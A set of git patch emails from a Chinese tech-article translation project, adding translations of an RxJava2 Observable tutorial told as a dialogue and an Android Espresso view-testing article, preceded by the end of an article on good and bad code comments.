+If you write documentation comments you should ensure that they follow a consistent standard and that they are easily distinguishable from any inline clarification comments you may also want to add. Some popular and well supported standards and tools include [JSDoc](http://usejsdoc.org)  for JavaScript, [DocFx](https://github.com/dotnet/docfx)  for dotNet, and [JavaDoc](http://www.oracle.com/technetwork/java/javase/documentation/index-jsp-135444.html)  for Java.
+
+The downside of these kinds of comments is that they can make your code very “noisy” and harder to read for anyone who is actively involved in maintaining it. The good news is that most code editors support “code folding” which allows us to collapse the comments so we can focus on the code.
+
+![](https://cdn-images-1.medium.com/max/800/1*o9d-IZKFtlHf4ycY_n4H2Q.gif) 
+
+Collapsing comments with code folding in Visual Studio Code.
+
+### Clarification comments ###
+
+Clarification comments are intended for anyone (including your future self) who may need to maintain, refactor, or extend your code.
+
+Often, a clarification comment is a code smell. It tells you that your code is too complex. You should strive to remove clarification comments and simplify the code instead because, “good code is self-documenting.”
+
+Here’s an [example](http://stackoverflow.com/a/766363)  of a bad — though very entertaining — clarification comment.
+
+```
+/* 
+ * Replaces with spaces 
+ * the braces in cases 
+ * where braces in places 
+ * cause stasis.
+**/ 
+$str = str_replace(array("\{","\}")," ",$str);
+```
+
+Rather than decorating a slightly confusing statement with a clever rhyme — in *amphibrach dimeter*, no less — the author would have been far better off spending time on a function that makes the code itself easier to read and understand. Maybe a function named, `removeCurlyBraces` called from another function named `sanitizeInput`?
+
+Don’t get me wrong, there are times — especially when you are slogging through a crushing workload — where injecting a bit of humor can be good for the soul. But when you write a funny comment to make up for bad code, it actually makes people less likely to refactor and fix the code later.
+
+Do you really want to be the one responsible for robbing all future coders of the joy of reading that clever little rhyme? Most coders would chuckle and move on, ignoring the code smell.
+
+There are also times when you come across a comment that is redundant. If the code is already simple and obvious, there’s no need to add a comment.
+
+Like, don’t do this nonsense:
+
+```
+/*
+set the value of the age integer to 32
+*/
+int age = 32;
+```
+
+Still, there are times when no matter what you do to the code itself, a clarification comment is still warranted.
+
+Usually this happens when you need to add some context to a non-intuitive solution.
+
+Here’s a good example from Lodash:
+
+```
+function addSetEntry(set, value) {   
+  /* 
+   Don't return `set.add` because it's not chainable in IE 11.
+  */  
+  set.add(value);    
+  return set;  
+}
+```
+
+There are also times when — after a lot of thought and experimentation — it turns out that the seemingly naive solution to a problem is actually the best. In those scenarios it is almost inevitable that some other coder will come around thinking they are much smarter than you are and start messing with the code, only to discover that your way was the best way all along.
+
+Sometimes that other coder is your future self.
+
+In those cases, it’s best to save everyone the time and embarrassment and leave a comment.
+
+The [following mock-comment](http://stackoverflow.com/a/482129) captures this scenario perfectly:
+
+```
+/**
+Dear maintainer:
+
+Once you are done trying to 'optimize' this routine,
+and have realized what a terrible mistake that was,
+please increment the following counter as a warning
+to the next guy:
+
+total_hours_wasted_here = 42
+**/
+```
+
+Again, the above is more about being funny than being helpful. But you SHOULD leave a comment warning others not to pursue some seemingly obvious “better solution,” if you’ve already tried and rejected it. And when you do, the comment should specify what solution you tried and why you decided against it.
+
+Here’s a simple example in JavaScript:
+
+```
+/* 
+don't use the global isFinite() because it returns true for null values
+*/
+Number.isFinite(value)
+```
+
+### The Ugly ###
+
+So, we’ve looked at the good and the bad, but what about the ugly?
+
+Unfortunately, there are times in any job where you’ll find yourself frustrated and when you write code for a living, it can be tempting to vent that frustration in code comments.
+
+Work with enough code bases and you’ll come across comments that range from cynical and depressing to dark and mean spirited.
+
+Things like the [seemingly harmless](http://stackoverflow.com/a/185550)…
+
+```
+/*
+This code sucks, you know it and I know it.  
+Move on and call me an idiot later.
+*/
+```
+
+…to the [downright mean](http://stackoverflow.com/a/184673) 
+
+```
+/* 
+Class used to workaround Richard being a f***ing idiot
+*/
+```
+
+These things may seem funny or may help release a bit of frustration in the moment, but when they make it into production code they end up making the coder who wrote them and their employer look unprofessional and bitter.
+
+Don't do this.
+
+
+If you enjoyed this article, please tap that little ❤ heart ❤ at the bottom of this post to help spread the word. And if you want to read more stuff like this, please sign up for my weekly Dev Mastery newsletter below.
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 8cc334d62e46f56f38604444ce0cb6ad2d96ec8c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Sun, 23 Apr 2017 11:32:23 +0800
Subject: [PATCH 228/638] =?UTF-8?q?2017.4.23=20=E6=88=91=E4=B8=8E=E8=A2=AB?=
 =?UTF-8?q?=E8=A7=82=E5=AF=9F=E5=90=9B=E7=9A=84=E4=B8=80=E6=AE=B5=E5=AF=B9?=
 =?UTF-8?q?=E8=AF=9D=20[=20Android=20RxJava2=20]=20(=20=E8=BF=99=E6=98=AF?=
 =?UTF-8?q?=E4=BB=80=E4=B9=88=E9=AC=BC=EF=BC=9F=20)=20Part5=20=20=E5=88=9D?=
 =?UTF-8?q?=E6=AD=A5=E7=BF=BB=E8=AF=91=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...le-developer-android-rxjava2-hell-part5.md | 105 ++++++++++++++++++
 1 file changed, 105 insertions(+)

diff --git a/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md b/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
index b555b582884..196ea5c7679 100644
--- a/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
+++ b/TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md
@@ -6,55 +6,105 @@
 
 ## Dialogue between Rx Observable and a Developer (Me)  [ Android RxJava2 ] ( What the hell is this ) Part5 ##
 
+## 我与被观察君的一段对话 [ Android RxJava2 ] ( 这是什么鬼？ ) Part5 ##
+
 
 WOW, we got one more day so its time to make this day awesome by learning something new 🙂.
 
+哇哦, 又是新的一天啦。是时候学习新姿势，让这一天碉堡了。
+
 Hello guys, hope you are doing good. This is our fifth post in series of RxJava2 Android [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/), [part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/) ]. In this part we are going to work with Rx Java Android. Our prerequisites are done. So we can start now.
 
+哥几个好啊，希望大家最近过的不错。这是我们一系列有关 RxJava2 Android [ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/), [part4](http://www.uwanttolearn.com/android/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4/) ] 的第五篇文章。在这篇文章里，我们会与 Rx Java Android 一起研究学习。现在万事俱备，我们一起来吹个东风。
+
 **Motivation:**
 
+*目标：**
+
 Motivation is same which I share with you in [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/). This time we will see, a lot of things in action which we already learned in last four posts.
 
+目标和我在 [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/)中分享给大家的一样。现在我们来之前4篇学的东西融会贯通起来。
+
 **Introduction:**
 
+**介绍：**
+
 When I am learning Rx Java Android. One day I met with a Rx Java Observable. So I asked a lot of questions and good news is Observable is really good and down to earth which amazed me. I have a opinion this Rx Java is really bad and full of pride. He/She don’t want to make friendship with lot of developers instead that play with developers and bluff them but after I start my dialogue with him/her I am amazed my opinion is wrong.
 
+当我在学习Rx java Android的时候，有一天我碰到了一个Rx Java的被观察君。所以我问了好多问题，好消息是被观察君人很好很厚道，令我惊叹不已。我一直以为 Rx Java 是个大坑逼。他/她不想和开发者做朋友，总给他们穿小鞋。
+但是在和他/她谈话以后，我很惊讶我的观点是错的。
+
 Me: Hello Observable. How are you?
 
+我：你好被观察君，吃了嘛您？
+
 Observable: Hi Hafiz Waleed Hussain, I am good. Thank you.
 
+你好 Hafiz Waleed Hussain ，吃过啦。
+
 Me: Why your learning curve is really tough? Why you are not easy for developers? You don’t want to make friendship with Developers.
 
+为啥你的学习曲线这么陡峭？为啥你故意刁难开发者？你这是拒人于千里之外啊。
+
 Observable: Haha. Truly saying. I really want to make lot of friends instead I have some very good friends. Which discuss about me on different forums and they are talking about me and my powers. These guys are really good in lot of things, they are spending a lot of hours with me. So for a good friend ship you need to give your time with sincerity. But there is one issue, some developers wants  to make friendship with me but they are not sincere. They start working on me but after some minutes they open social websites and forgot me about hours. So how you can expect from me, I will be a good friend of a developer who is not sincere with me.
 
+被观察者君：木哈哈，你说的是。我真想交很多朋友，不过我现在也有一些好哥们儿。他们在不同的论坛上谈论我，介绍我和我的洪荒之力。而且这些家伙疹的很棒，他们花了很久的时间和我呆在一起。只有精诚所至，才会金石为开。但问题是，很多想撩我的人只走肾不走心。他们关注我了一小会就去刷微博，把我给忘了。想要马儿跑，又想马儿不吃草，我也很为难啊！
+
 Me: Okay If I want to make a friendship with you. What I will do?
 
+我：好吧，我想和你捡肥皂，我该怎么做？
+
 Observable: Do a proper focus on me. Give me proper time then you will see how frankly I am.
 
+被观察君：如果你愿意一层一层一层一层的剥开我的心，你才会看到我的全心全意。
+
 Me: Hmm. Honestly I am not good in focus but I am good in ignoring. Can I use my ignoring power.
 
+我：嗯，实话实说我不是一个专心的人，但是我擅长走神。这样可以嘛？
+
 Observable: Yes, if you ignore everything except me when you are working on me. I will be a your good friend.
 
+被观察君：当然，如果你和我在一起的时候可以两耳不闻窗外事，伦家就是你的人了。
+
 Me: Wow. I have a feeling then I can make you my friend.
 
+我：哇哦，我有种预感：你会是我的好基友的。
+
 Observable: Yes any body can make me his best friend.
 
+被观察军：当然，任何人都可以把我当好基友。
+
 Me: Now I have some questions. Can I ask?
 
+我：现在我有些问题，我可以问了嘛？
+
 Observable: Yes you can ask thousands of questions. I will give you answer but one important thing I need your time with sincerity.
 
+被观察君：当然，你可以问成千上万个问题。我会给你答案，但是重要的是我需要你花时间去思考和吸收。
+
 Me: Sure. If I have a some data and I want to convert that into Observable. How I can achieve that in Rx Java 2 Android.
 
+我：当然。如果我想把数据转化为 Observable 类，在 Rx Java 2 Android 里怎么实现？
+
 Observable: This question which you asked me has a very long answer. If you go inside of me (Rx Java 2 Observable class). You will know I have total **12904** lines of code.
 
+被观察君：这个问题的答案很长很长。如果你来看我（Rx Java 2 Observable 中的 Observable 类）的源码，你就会发现我一共有12904行代码。
+
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-8.54.00-AM-1024x527.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-8.54.00-AM.png)
 
 Every method will return you Observable. Yes I have a lot of friends in my community which I use to make my self according to Developer requirement like map, filter and more but I am here going to share with you some methods which will help you to make any thing as Observable. Sorry because I have a feeling answer will be long but that will not be boring. I will not only show you methods to create Observable instead I will share with you how you refactor your current data objects to Observable with suitable method.
 
+
+我身边也有好几个臭皮匠，可以根据开发者的需求返回 Observable 类，比如 map ，filter。不过现在我会告诉你几个可以帮助你把任何东西转化为 Observable 类的方法。抱歉我决定回答会很长，但是也不会很无聊。我不仅仅会演示这些方法如何创建 Observable 类，同时我也会和你分享对你手头边代码进行重构的正确姿势。
+
+1. just():
+
 1. just():
 
 By using this method you can convert any object(s) into Observable that emit that object(s).
 
+通过这个方法，你可以把任意（多个）类转化成泛型是该类的 Observable 类。
+
 ```
     String data = "Hello World";
     Observable.just(data).subscribe(s -> System.out.println(s));
@@ -64,6 +114,8 @@ By using this method you can convert any object(s) into Observable that emit tha
 
 If you have more then one data objects you can use same API like shown below.
 
+如果有不止一个的数据，你可以像下面那样调用 just 方法 ：
+
 ```
     String data = "Hello World";
     Integer i = 4500;
@@ -76,6 +128,8 @@ If you have more then one data objects you can use same API like shown below.
 ```
 Maximum you can use 10 data objects in this API.
 
+此 API 最大可接收 10 个数据做参数。
+
 ```
     Observable.just(1,2,3,4,5,6,7,8,9,10).subscribe(s -> System.out.print(s+" "));
     Output:
@@ -87,6 +141,8 @@ Maximum you can use 10 data objects in this API.
 
 Example in code: ( Not good one but may be you will get some direction, how to use in your code)
 
+样例代码：（不是个好例子，只是给点提示，提示你如何在自己的代码中使用）
+
 ```
     public static void main(String[] args) {
         String username = "username";
@@ -105,6 +161,8 @@ Example in code: ( Not good one but may be you will get some direction, how to u
 
 Using Observable:
 
+使用 Observable 类进行重构：
+
 ```
 private static boolean isValid = true;
 private static boolean validate(String username, String password) {
@@ -117,14 +175,20 @@ private static boolean validate(String username, String password) {
 ```  
 
 
+2. from… :
+
 2. from… :
 
 I have a lot more API to convert your complex data structure into Observable which starting keyword is from as shown below.
 
+我有一大堆的 API 可以把复杂的数据结构转化为 Observable 类，比如下面那些以关键字 from 开头的方法：
+
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-10.02.40-AM-1024x187.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-18-at-10.02.40-AM.png)
 
 I think API name are really meaning full so no need for more explanation. Yes I will give some examples so you are comfortable when you are using in code.
 
+我想这些 API 的从名字就可以看懂它们的意思，所以也不需要更多解释了。不过我会给你一些例子，这样你可以在自己的代码里用的更舒服。
+
 ```
 public static void main(String[] args) {
 
@@ -147,6 +211,8 @@ private static class Tasks {
     
 From array:
 
+从数组转化为 Observable 类
+
 ```
     public static void main(String[] args) {
         Integer[] values = {1,2,3,4,5};
@@ -158,10 +224,14 @@ From array:
 
 Here two examples are enough. You can try others on your own.
 
+两个例子就够啦，回头你可以亲自试试其他的。
+
 3. create():
 
 You can define any thing you want as an Observable. This API will give you a lot of power but in my opinion before going to use this API try to search some other solution because I have a feeling 99% times you can get solution from my other API’s. If you are not able to get any solution of something then you can use.
 
+你可以把任何东西的定义为 Observable 。这个 API 过于勥，所以在我看来使用这个API之前，应该先找找有没有其他的解决方式。大约99%的情况下，你可以用其他的 API 来解决问题。如果实在找不到解决方式，那么就用它吧。
+
 ```
     public static void main(String[] args) {
         final int a = 3, b = 5, c = 9;
@@ -182,6 +252,8 @@ You can define any thing you want as an Observable. This API will give you a lot
 
 That is just like a for loop as shown below in code.
 
+这就像是一个 for 循环，就像下面的代码显示的那样。
+
 ```
     public static void main(String[] args) {
         Observable.range(1,10)
@@ -193,6 +265,8 @@ That is just like a for loop as shown below in code.
 
 One more real example:
 
+再来一个例子：
+
 ```
 public static void main(String[] args) {
 
@@ -213,6 +287,8 @@ public static void main(String[] args) {
 
 This one is awesome. I am showing you one example in which you can compare two approaches. For first one I used a Java thread and for a second one I used my own interval() API and both have same result.
 
+这个 API 碉堡了。我用两种方法实现一种需求，你可以比较一下。第一种我用 Java 的线程来实现，另一种我用 interval() API ，两种方法会得到同一个结果。
+
 ```
 public static void main(String[] args) {
     new Thread(() -> {
@@ -237,6 +313,8 @@ public static void greeting(){
 
 One more good API. In program if I want some thing will called after one second I can use timer Observable as shown below.
 
+又是一个好的 API。在程序中如果我想一秒钟后调用什么方法，可以用 timer Observable ，就像下面展示的那样：
+
 ```
 public static void main(String[] args) throws InterruptedException {
     Observable.timer(1, TimeUnit.SECONDS)
@@ -254,6 +332,8 @@ public static void greeting(){
 
 This is useful specially in mocking. This create Observable that emit nothing and complete. I am showing you one example in which if tests are running then send me mock data else the real one.
 
+这个 API 很有用，尤其是在有假数据的时候。这个 API 创建了一个什么都不包含，只有 complete 方法的 Observable 。我会给你一个例子，如果在测试运行时发送给我假数据，在生产环境下就调用真的数据。
+
 ```
 public static void main(String[] args) throws InterruptedException {
     hey(false).subscribe(o -> System.out.println(o));
@@ -268,6 +348,8 @@ private static Observable hey(boolean isMock) {
 
 This is very use full in many cases. I am going to explain this one by using one example as shown below.
 
+这个 API 在很多情况下都会很有用。我来用下面的例子解释一下：
+
 ```
 public static void main(String[] args) throws InterruptedException {
     Employee employee = new Employee();
@@ -291,6 +373,8 @@ private static class Employee{
 
 What will be the output of the above code. If your answer is age should be 28 then you are wrong. Basically all creation methods of Observable will take the value which is available at the time of creation. Like if I do output I will get 27 because I create an Observable at that time when I have age 27 and later I change to 28 but observable already created. So what will be the solution? Yes you can use defer API. That is really helpful. When you use defer basically what happen Observable only created when you will subscribe so its mean by using this I will get my expected result.
 
+上面的代码会输出什么呢？如果你的答案是 age = 28 那就大错特错了。基本上所有创建 Observable 的方法在创建时就记录了可用的值。就像刚才的数据实际上输出的是 age = 27 ， 因为在我创建 Observable 的时候 age 值是 27 ，当我把 age 的值变成 28 的时候 Observable 类已经创建过了。所以怎么解决这个问题呢？是的，这个时候就轮到 defer API 出厂了。太有用了！当你使用 defer 的时候，只有注册（subscribe）的时候才创建 Observable 类。用这个 API ，我就可以获得想要的值。
+
 ```
 Observable getObservable(){
   //return Observable.just(name, age);
@@ -300,18 +384,28 @@ Observable getObservable(){
 
 Now this time my age on output is 28.
 
+这样我们的 age 的输出值就是 28 了。
+
 8. error():
 
 Again useful to generate error signal. I will share with you when we will discuss about the Observer and there methods.
 
+一个可以弹出错误提示的方法。当我们讨论观察君（Observer 类）和他的方法的时候，我再和你分享吧。
+
 9. never():
 
 This API emit nothing.
 
+这个 API 什么泛型都没有。
+
 Me: Wow. Thank you Observable. For a long and robust answer. I will use that as a cheat sheet for me. Observable can you convert any function as a Observable.
 
+我：哇哦。谢谢你，被观察君。谢谢你耐心又详细的回答，我把你的回答记在我的秘籍手册上的。被观察君，你可以把函数转化 Observable 类吗？
+
 Observable: Yes. Check below code.
 
+当然，注意下面的代码：
+
  ```
  public static void main(String[] args) throws InterruptedException {
     System.out.println(scale(10,4));
@@ -326,13 +420,24 @@ private static float scale(int width, int height){
  
 Me: Wow you are really powerful. Currently I want to ask you about operators like map, filter and more. But if you want to share with me about Observable creation. Which I am not able to ask you due to lack of knowledge please share with me.
 
+我：哇哦，你真的好流弊。现在我想问你有关操作符，比如 map ，filter方面的问题。但是有关 Observable 类创建，如果还有什么我因为缺乏知识没问到的地方，再多告诉我一点呗。
+
 Observable: There is a lot. But I think I can explain here about two types of Observables. One is called Cold Observable and the second one is called Hot Observable. In Cold …
 
+被观察君：其实还有很多。我在这里介绍两类 Observable 类。一种叫做冷被观察者（Cold Observable）， 第二个是热被观察者（Hot Observable）。在冷...
+
 Conclusion:
 
+结语：
+
 Hello Friends. This dialogue is very very long but I need to stop some where. Otherwise this post will be like a giant book which may be ok but the main purpose will be die and that is, I want we should learn and know everything practically. So I am going to pause my dialogue here I will do resume in next part. Only try your best to play with all these methods and if possible try to take your real world projects and refactor these for practice. In the end I want to say thanks to Rx Observable who give me a lot of his/her time.
 
+大家吼啊。这篇对话非常非常的长，我的暂停一下了。不然这篇文章就会像一部大部头的书，可能看上去不错但是主要目的就跑偏了。我希望，我们可以循序渐进的学习。所以我要暂停我的对话，然后在下一篇继续。你试试自己实现这些方法，如果可能的话在实际的项目中去运用、重构。最后我想说，谢谢被观察君给我了这么多他/她的时间。
+
 Happy Weekend Friends Bye. 🙂
+
+周末愉快，再见~
+
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 449d82738cb4f4629bccb81cf8b2ca7168f7ddcb Mon Sep 17 00:00:00 2001
From: AngryD <yazhi1992@163.com>
Date: Sun, 23 Apr 2017 14:38:34 +0800
Subject: [PATCH 229/638] translate

Testing Views in Isolation with Espresso
---
 ...esting-views-in-isolation-with-espresso.md | 95 ++++++++++---------
 1 file changed, 51 insertions(+), 44 deletions(-)

diff --git a/TODO/testing-views-in-isolation-with-espresso.md b/TODO/testing-views-in-isolation-with-espresso.md
index c746cbfcf68..107c6c64854 100644
--- a/TODO/testing-views-in-isolation-with-espresso.md
+++ b/TODO/testing-views-in-isolation-with-espresso.md
@@ -1,31 +1,30 @@
 > * 原文地址：[Testing Views in Isolation with Espresso](https://www.novoda.com/blog/testing-views-in-isolation-with-espresso/)
 > * 原文作者：[Ataul Munim](https://www.novoda.com/blog/author/ataulm/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[yazhi1992](https://github.com/yazhi1992)
 > * 校对者：
 
-# Testing Views in Isolation with Espresso #
-        
+# 使用 Espresso 隔离测试视图 #
 
-In this post, we'll show you how and why you should use Espresso to test your custom Views on an Android device.
+在这篇文章里，我将会告诉你为何并且如何使用 Espresso 在真机上测试你的自定义视图。
 
-You can use Espresso to test entire screens or flows at once. These tests launch an Activity and perform actions as a user would, including waiting for data to load or navigating to other screens.
+你可以使用 Espresso 来一次性测试所有界面或流程。这些测试用例会启动某个页面，并像用户一般执行操作，包括等待数据的加载或跳转到其他页面。
 
-They're useful because you need end-to-end tests to validate common user flows. These automated tests should run at regular intervals, enabling you to spend manual QA time performing exploratory tests.
+这样做是非常有用的，因为你需要端到端的测试用例来验证常见的用户使用流程。这些自动化测试应该定期地执行，从而确保你有足够的 QA 时间进行探索性测试。
 
-That said, these aren’t tests that you can run frequently. Running the whole suite can take hours (imagine a suite that includes verifying offline sync for media content), so you might choose to run them at night.
+即便如此，这些不是可以频繁运行的测试。运行一整套可能会花费数小时的时间（想象一下验证媒体内容的脱机同步），所以你可以选择在夜间运行它们。
 
-It's difficult because these types of tests incorporate multiple points of potential failure. Ideally when a single test fails, you want it to fail because of a single logical assertion.
+这很困难，因为这些类型的测试包含了多个潜在的故障点。理论上来说，当某个测试失败时，你会希望它是由于单个逻辑断言而导致的。
 
-Most (or a lot) of the regressions you can introduce are in the UI. They might be subtle so we don't notice them when adding new features, but eagle-eyed QA teams often do.
+大多数（或者说很多）被引入的问题是出现在UI中的。这些问题很可能是十分细微的，以至于我们在添加新特性时并不会注意到，但是敏锐的 QA 团队往往可以。
 
-It's such a waste of time.
+这样就浪费太多时间了。
 
-## What can you do? ##
+## 你能做些什么？ ##
 
-Let's look at using Espresso to test that you have correctly bound data to Views.
+让我们来看下如何使用 Espresso 来测试正确地绑定了数据的视图。
 
-At Novoda, the Views we write are mostly extensions of existing View and ViewGroup classes on Android. They typically only expose one or two extra methods, which are used to bind callbacks and the data object/view model, like this:
+在 Novoda 里，我们编写的大多数视图都是继承自 Android 已有的 View 和 ViewGroup 类。这些视图一般只会暴露了一到两个方法用来绑定回调函数和数据对象/视图模型，如下所示：
 
 ```
 public class MovieItemView extends RelativeLayout {  
@@ -48,44 +47,49 @@ public class MovieItemView extends RelativeLayout {
 }
 ```
 
-They group logical parts of the UI together and often encompass naming conventions from the business domain. You will rarely see ‘raw’ Android Views in Activity layouts in our work at Novoda.
+他们将 UI 的逻辑部分组合在一起，并且通常包含来自业务领域的命名规范。在
+ Novoda 的页面布局中你很少会看到“原始”的 Android 视图。
 
-Let’s write these View tests in a BDD style, like "given MovieItemView is bound to Edward Scissorhands, then title is set as Edward Scissorhands" or "given MovieItemView is bound to Edward Scissorhands, when clicking on view, then onClick(Edward Scissorhands) is called", etc.
+让我们使用 BDD 风格来编写这些视图测试（译者注：BDD（Behaviour Driven Development）是TDD的一种， 倾向于断言被测对象的行为特征而非输入输出），比如“给定的 MovieItemView 被绑定到 Edward Scissorhands 上，然后标题就被设置成 Edward Scissorhands”或者“给定的 MovieItemView 被绑定到 Edward Scissorhands 上，当点击视图时，onClick(Edward Scissorhands) 就会被调用”，等等。
 
-## Couldn't you have caught these regressions with unit tests? ##
+## 难道不能使用单元测试来捕获这些问题吗？ ##
 
-Why do you need Espresso to run these tests if you’re using a presentation pattern like MVP or MVVM, which can be unit-tested?
+如果你使用了 MVP 或者 MVVM 等表现模式，为什么还需要 Espresso 来运行这些测试呢？为何不直接使用单元测试？
 
-First, let’s go over the presentation flow and describe what you can test to see how the Espresso tests can augment it.
+首先，让我们来看一下展示信息的流程并且描述一下目前测试所能做的事情，然后再看看使用 Espresso 测试能多做些什么。
 
-- Presenters subscribe to data producers that send events
-- Events can be of type `loading`, `idle` or `error`, and may or may not contain data to display
-- Presenters will forward these events to "displayers" (“View” in MVP) using methods like `display(List<Movie>)`, `displayCachedDataWhileLoading(List<Movie>)` or `displayEmptyScreen()`, etc.
-- The implementation of displayers will show/hide Android Views and do things like `moviesView.bind(List<Movie>)`
+- Presenters 订阅发送事件的数据生成器
 
-You can unit-test the presenters completely, verifying that the correct methods on the displayers are called with the correct arguments.
+- 事件可以是‘加载’，‘空闲’或‘错误’，并且可能带有要展示的数据
 
-Can you test the displayers in the same way? Yes, you can mock the Android Views and verify you're calling the correct methods on them. It won't be at the correct granularity though:
+- Presenters 将使用`display（List <Movie>）`，`displayCachedDataWhileLoading（List <Movie>）`或`displayEmptyScreen（）`等方法将这些事件转发给“displayers”（MVP中的“View”）。
 
-- your displayer could create or update the adapter of a RecyclerView or ViewPager, but this gives you no assurances of what the item/page is displaying
-- Android Views are setup in code with attributes inflated from XML (layouts and styles); verifying method calls isn't enough to assert what's displayed
+- displayers 的具体实现将显示/隐藏 Android 视图，并执行诸如`moviesView.bind（List <Movie>） `之类的操作
 
-## Setting up for the tests ##
+您可以对 presenters 进行单元测试，验证是否调用了 displayers 正确的方法并且带有正确的参数。
 
-Let’s use the [`espresso-support`](https://github.com/novoda/spikes/tree/master/espresso-support) library to get started.
+你可以用相同的方式测试 displayers 吗？是的，你是可以模拟 Android 视图，并验证是否调用了正确的方法。但它不会是正确的粒度：
 
-Add the dependencies to your build.gradle file (available from JCenter):
+- displayer 可能确实构建或更新了 RecyclerView 或 ViewPager 适配器，但这并不代表显示了正确的内容。
+
+-  Android 视图是通过在代码中加载 XML（布局和样式）设置的；验证方法的调用不足以断言显示的内容是否正确
+
+## 设置测试用例 ## 
+
+就从使用 [`espresso-support`](https://github.com/novoda/spikes/tree/master/espresso-support)  这个库开始吧。
+
+在你的 build.gradle （JCenter 可用）里添加依赖
 
 ```
 debugCompile 'com.novoda:espresso-support-extras:0.0.3'  
 androidTestCompile 'com.novoda:espresso-support:0.0.3'
 ```
 
-The `extras` artifact includes the `ViewActivity`, which needs to be part of your app under test. You can use this Activity to hold a single View, which you can test with Espresso.
+`extras` 依赖包中包含了 `ViewActivity`，在测试时需要将其添加到你的应用中。你可以在该界面保存想要使用 Espresso 测试的视图。
 
-The core artifact (containing custom test rules) only needs to be included as part of your `androidTest` dependencies.
+核心部分（包含自定义测试规则）只需要作为 `androidTest` 依赖中的一部分。
 
-The `ViewTestRule` is used in a similar way to the `ActivityTestRule`. Instead of passing the Activity class that you want to launch, you should pass the layout file containing the View you want to test:
+`ViewTestRule` 使用方法与 `ActivityTestRule` 类似。只不过是将传递的参数从想要启动的Activity类替换成了包含你想要测试的视图的布局文件：
 
 ```
 @RunWith(AndroidJUnit4.class)publicclassMovieItemViewTest{  
@@ -94,11 +98,11 @@ The `ViewTestRule` is used in a similar way to the `ActivityTestRule`. Instead o
   ...
 ```
 
-You can specify the View type for the root of the layout with `ViewTestRule<MovieItemView>`.
+你可以使用 `ViewTestRule <MovieItemView>` 指定根布局的视图类型。
 
-The `ViewTestRule` extends `ActivityTestRule<ViewActivity>`, so it'll always open `ViewActivity`. `getActivityIntent()` is overridden so you can pass `R.layout.test_movie_item_view` to `ViewActivity` as an Intent extra.
+`ViewTestRule` 继承了 `ActivityTestRule <ViewActivity>`，所以它总会打开 `ViewActivity`。 `getActivityIntent（）` 被重写了，所以你可以像使用 Intent 一样将 `R.layout.test_movie_item_view` 传递给`ViewActivity` 。
 
-You can use Mockito in your tests to substitute for the callbacks:
+你可以在测试中使用 Mockito 代替回调函数。
 
 ```
 @Rule
@@ -115,7 +119,7 @@ publicvoidsetUp(){
  }
 ```
 
-ViewTestRule has a method `bindViewUsing(Binder)`, which gives you a reference to the View so you can interact with it. While you could access the View directly with `viewTestRule.getView()`, you want to ensure any interaction with the View is performed on the main thread, not the test thread.
+ViewTestRule 有一个方法 `bindViewUsing（Binder）`，该方法会返回视图的引用，以便你与之进行交互。当你使用 `viewTestRule.getView（）` 直接访问视图时，你会希望与视图的所有交互都是在主线程上执行的，而非测试线程。
 
 ```
 @Before
@@ -131,14 +135,16 @@ public void setUp() {
 }
 ```
 
-## Ready to test ##
+## 准备测试 ## 
+
+从用户的角度上来看，应用其实只做了两件事情：
 
-Apps only really do two things, from the user's point of view:
+- 展示信息
 
-- they display information
-- they respond to user actions
+- 响应用户的操作
 
